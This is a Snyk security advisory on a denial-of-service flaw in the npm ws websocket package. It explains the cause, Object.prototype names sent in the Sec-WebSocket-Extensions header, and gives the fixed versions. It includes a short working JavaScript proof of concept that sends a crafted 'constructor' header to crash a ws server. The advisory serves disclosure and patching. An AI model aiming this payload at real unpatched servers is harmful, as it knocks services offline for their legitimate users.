Denial of Service (DoS) Affecting ws package, versions <1.1.5>=2.0.0 <3.3.1


Severity

Recommended
0.0
high
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Mature

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  • Snyk IDnpm:ws:20171108
  • published9 Nov 2017
  • disclosed8 Nov 2017
  • creditNick Starke, Ryan Knell

Introduced: 8 Nov 2017

CVE NOT AVAILABLE CWE-400  (opens in a new tab)

How to fix?

Upgrade ws to version 1.1.5, 3.3.1 or higher.

Overview

ws is a simple to use websocket client, server and console for node.js.

Affected versions of this package are vulnerable to Denial of Service (DoS) attacks. A specially crafted value of the Sec-WebSocket-Extensions header that used Object.prototype property names as extension or parameter names could be used to make a ws server crash.

PoC:

const WebSocket = require('ws');
const net = require('net');

const wss = new WebSocket.Server({ port: 3000 }, function () { const payload = 'constructor'; // or ',;constructor'

const request = [ 'GET / HTTP/1.1', 'Connection: Upgrade', 'Sec-WebSocket-Key: test', 'Sec-WebSocket-Version: 8', Sec-WebSocket-Extensions: ${payload}, 'Upgrade: websocket', '\r\n' ].join('\r\n');

const socket = net.connect(3000, function () { socket.resume(); socket.write(request); }); });

Details

Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package

CVSS Scores

version 3.1